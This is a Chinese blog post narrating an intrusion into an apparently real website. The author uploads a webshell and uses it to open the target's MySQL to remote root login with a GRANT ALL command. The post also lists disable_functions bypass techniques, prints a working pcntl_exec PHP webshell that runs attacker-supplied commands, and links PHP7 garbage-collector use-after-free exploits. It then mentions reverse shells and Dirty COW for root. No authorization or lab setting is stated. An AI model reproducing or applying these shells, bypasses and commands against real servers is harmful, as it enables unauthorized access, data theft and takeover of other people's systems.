php.ini disable_functions 配置 无效,看我深夜如何绕过disable_functions拿到主机权限

找了一会找到一个上传点,尝试上传文件

format,png

拿到shell

format,png

用冰蝎连一下:

format,png

三、开启外链拿到数据库

然后尝试找他的数据库的配置文件,因为只能本地连接数据库不允许外链,所以我们可以先传一个小马登录他的数据库,然后在开启外链就ok:

format,png

format,png

开启外链命令:GRANT ALL PRIVILEGES ON *.* TO ‘root’@'%’ IDENTIFIED BY ‘外链登录密码’ WITH GRANT OPTION;

尝试用工具去链接:

format,png

三、尝试绕过disable_functions

在执行命令的时候出错,看了一下应该是php函数disable_functions禁用了命令执行:

format,png

所谓的disable_functions,就是运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如:

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link 等

渗透时,上传了webshell却因为disable_functions禁用了我们函数,我们就无法执行相应的命令,这时候就需要去进行一个绕过。

disable_functions其实是一个黑名单机制,我们可以通过观察是否存在可利用的漏网之鱼,直接通过其实现绕过即可。

就我所知的绕过有这几种:常规绕过:exec,shell_exec,system,passthru,popen,proc_open

利用环境变量LD_PRELOAD绕过mail,imap_mail,error_log,mb_send_mail

利用pcntl_exec绕过利用imap_open函数任意命令执行(CVE-2018-19518)

利用系统组件window com绕过利用Apache+mod_cgi+.htaccess

绕过利用ImageMagick漏洞绕过利用PHP7.4的FFI绕过利用 ShellShock绕过(CVE-2014-6271)

蚁剑插件

因为我知道他是php7.x的版本,所以我先去尝试了github上一个开源的利用环境变量LD_PRELOAD的脚本https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD 23

format,png

没有回显,然后又去试了一下另外一个::open_hands:任然没有返回:<?phpheader ("Content-Type: text/plain");$cmd="/tmp/exec";@unlink($cmd);$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";file_put_contents($cmd, $c);chmod($cmd, 0777);$cd="/tmp/output.txt";print_r(file_get_contents($cd));switch (pcntl_fork()) {case 0:$ret = pcntl_exec($cmd);exit("case 0");default:echo "case 1";break;}

format,png

问了一下群里的师傅他们说可以这样:&_GET['a'](&_GET['b']) 然后构造:a=exec&b=phpinfo()然后进行绕过,想了想在本地写了一下shell没有问题,于是尝试去绕过,当我正要去试的时候突然想起来可以直接用蚁剑的bypass插件啊!

插件地址

看来还是自己太菜了,蚁剑的这个绕过是使用的php_gc_uaf进行baypass利用原理

`php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令

影响范围是linux,php7.0-7.3

https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

php-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令

影响范围是linux,php 7.1-7.3

蚁剑插件实现:

两插件首先判断系统版本及php版本是否满足使用条件

启新终端,通过PHP7GCUAFEXP()函数、JSONSerializer_UAF()函数传递执行命令

两EXP函数通过调用原作者POC实现

`

format,png

拿到权限能够执行命令了接下来就是提权了,提权的思路大概就是反弹一下shell,然后在尝试使用已知的EXP进行提权操作,这个站可以用脏牛直接整活:loop后记

以后多备几个浏览器,有些网站是真的难顶,一般的监控也会存在这样的情况。只能360之类的浏览器进行操作。

format,png

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值